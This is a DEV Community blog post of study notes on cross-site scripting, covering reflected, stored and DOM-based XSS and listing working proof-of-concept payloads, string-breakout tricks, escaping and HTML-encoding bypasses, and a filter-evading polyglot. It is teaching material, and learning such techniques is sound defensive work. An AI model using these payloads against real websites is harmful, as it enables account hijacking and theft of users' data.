DEV Community

Justin Begley
Justin Begley

Posted on

Cross-Site Scripting

Cross-Site Scripting

  • Reflected XSS

    Arises when an application receives data in an HTTP requrest and includes that data within the immediate response in an unsafe way.

    # Site has a user-supplied search term in a n a URL:
    https://insecure-website/search?term=gift
    
    # Reflected XSS allows an attacker to construct an attack like this:
    https://insecure-website/search?term=<script>/* insert bad stuff here */</script>
    
  • Stored XSS

    Stored XSS also known as Second-order or persistent XSS arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

    Suppose a website allows users to submit comments on blog posts, which are displayed to other users. Users submit comments using an HTTP request like the following:

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 100
    
    postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
    
    # An Attacker can submit a malicious comment like this:
    comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
    
  • DOM-Based XSS

    DOM-based XSS arise when JS takes data from attacker-controllable, such as the URL, and it passes it to a sink that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JS, which typically allows them to hijack other users’ accounts.

    To deliver DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes execution of arbitrary JS.

    The most common source for DOM XSS is the URL, which is typically access with the window.location object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL. In certain circumstances, such as when targeting a 404 page or a website running PHP, the payload can also be placed in the path.

    Examples:

    # Able to trigger alert when document.write was attempting to follow query results
    # Escape the <img> element
    "><svg onload=alert(1)> 
    "><img src=x onerror=alert(1)>
    
  • Testing XSS

    Content Security Policy (CSP)

    • A Browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulns. If an app that employs CSP contains XSS like behavior, then the csp might hinder or prevent exploitation of the vulnerability. Often the CSP can be circumvented to enable exploitation of the underlying vuln.

    Dangling Markup Injection

    • A technique that can be used to capture data cross-domain in situation where a full cross-site scripting exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive info that is visible to other users, incluiding CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

    When testing for reflected and stored, a key task is to identify the XSS context:

    • The location within the response where attacker-controllable data appears.
    • Any input validation or other processing that is being performed that data by the application.

    XSS Between HTML Tags

    Wehn the XSS context is text between html tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript. Some common methods:

    <script>alert(document.domain)</script>
    <img src=1 onerror=alert(1)>
    

    XSS in HTML tag Attribs

    When the XSS context is into an HTML tag attrib value, you might sometimes be able to terminate the attribe value, close the tag, and introduce a new one:

    "><script>alert(document.domain)<script>

    More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example:

    " autofocus onfocus=alert(document.domain) x="
    

    The above payload creates an onfocus event that execute JS when the element receives the focus, and also add the autofocus attrib to try to trigger the onfocus event automatically without any user interaction. Finally, it add x=” to gracefully repair the following markup.

    Sometimes the XSS context is into a type of HTML tag attribute that itself can create a scriptable context. Here, you can execute JS without needing to terminate the attribute value. For example, if the XSS context is into the href attribute of an anchor tag, you can use the JavaScript pseudo-protocol to execute script. For Example:

    <a href=“javascript:alert(document.domain)”>
    

    You might encounter websites that encode angle brackets but still allow you to inject attributes. Sometimes, these injections are possible even within tags that don’t usually fire events automatically, such as a canonical tag. You can exploit this behavior using access keys and user interaction on Chrome. Access keys allow you to provide keyboard shortcuts that reference a specific element. The access key attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire.

    XSS into JavaScript

    When the XSS context is some existing JavaScript within the response, a wide variety Of situations can arise, with different techniques necessary to perform a successful exploit.

    Terminating the existing script

    In the simplest case, it possible to simply close the script tag that is enclosing the existing JS. for Example, if the XsS context is as follows:

    <script>
    ...
    var input = 'controllable data here';
    ...
    </script>
    

    then you can use the following payload to break out of the existing JS and execute your own:

    <script><img src=1 onerror=alert(document.domain)>
    

    The reason this works is that the browser first performs HTML parsing to identity the page elements including blocks of scrip, and only later performs JavaScript parsing to understand and execute the embedded scripts. The above payload leaves the original script broken with an unterminated string literal. But that doesn’t prevent the subsequent script being parsed and executed in the normal way.

    Breaking out of a JavaScript string

    In cases the XSS context is inside a quoted string literal, it is often possible to break out of the string and execute JS directly. It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.

    Some useful ways of breaking out of a string literal are:

    '-alert(document.domain)-'
    ';alert(document.domain)//
    

    Some applications attempt to prevent input from breaking out of the JS string by escaping any single quote characters with a backslash before a character tells the JS parser that the character should be interpreted literally, and not as a special character such as a string terminator. In this situation, applications often make the mistake of failing to escape the backslash character itself. This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application:

    //for example, suppose that the input
    ';alert(document.domain)//
    //gets converted to:
    \';alert(document.domain)//
    You can now use the alternative payload:
    \';alert(document.domain)//
    //which would be converted to:
    \\';alert(document.domain)//
    //Here the first backslash means that the second backslash is interpreted literally and not as a special character. 
    

    Some websites make XSS more difficult by restricting which character you are allowed to use. This can be on the website level or by deploying a WAF that prevents your requests from ever reaching the website. In these situations, you need to experiment with other ways of calling functions which bypass these security measures. One way of doing this is to use the throw statement with an exception handler. This enables you to pass args to a function without using parentheses. The following code assigns the alert() function to the global exception handler and the throw statement passes the 1 to the exception handler. The end result is that the alert function is called with 1 as an arg.

    onerror=alert;throw 1
    

    Making use of HTML-encoding

    When the XSS context is some existing JS within a quoted tag attrib, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters.

    When the browser has parsed out the HTML tags attributes within a response, it will perform HTML decoding of tag attribute values before they are processed any further. If the server-side application blocks or sanitizes certain characters that are needed for a successful XSS exploit, you can often bypass the input validation by HTML-encoding those characters.

    for example, if the XSS context is :

    <a href="#" onclick="...var input='controllable data here'; ...">
    

    and the application blocks or escapes single quote characters, you can use the following payload to break out of the JS string and execute your own script:

    &apos;-alert(document.domain)-&apos;
    

    The &apos; sequence is an HTML entity representing an apostrophe.

    XSS in JavaScript template literals

    JS template literals are string literals that allow embedded JS expressions. The embedded expressions are evaluated and are normally concatenated into the surrounding text. Template literals are encapsulated in backticks instead of normal quotation marks, and embedded expressions are identified using the ${…} syntax.

    For example the following script will print a welcome message that includes the user’s display name:

    docment.getElementById('message').innerText = `Welcome, ${user.displayName}.`
    

    When the XSS context is into a JavaScript template literal, there is no need to terminate the literal. Instead you simply need to use the ${…} syntax to embed a Javascript expression that will be executed when the literal is processed. For example, if the XSS context is as follows:

    <script>
    ...
    var input = `controllable data here`;
    ...
    </script>
    

    Then you can use the following payload to execute JavaScript without terminating the template literal:

    ${alert(document.domain)}
    
  • Resources

    • polyglot, string of text which can escape attributes, tags and bypass filters all in one.
    • jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

Top comments (0)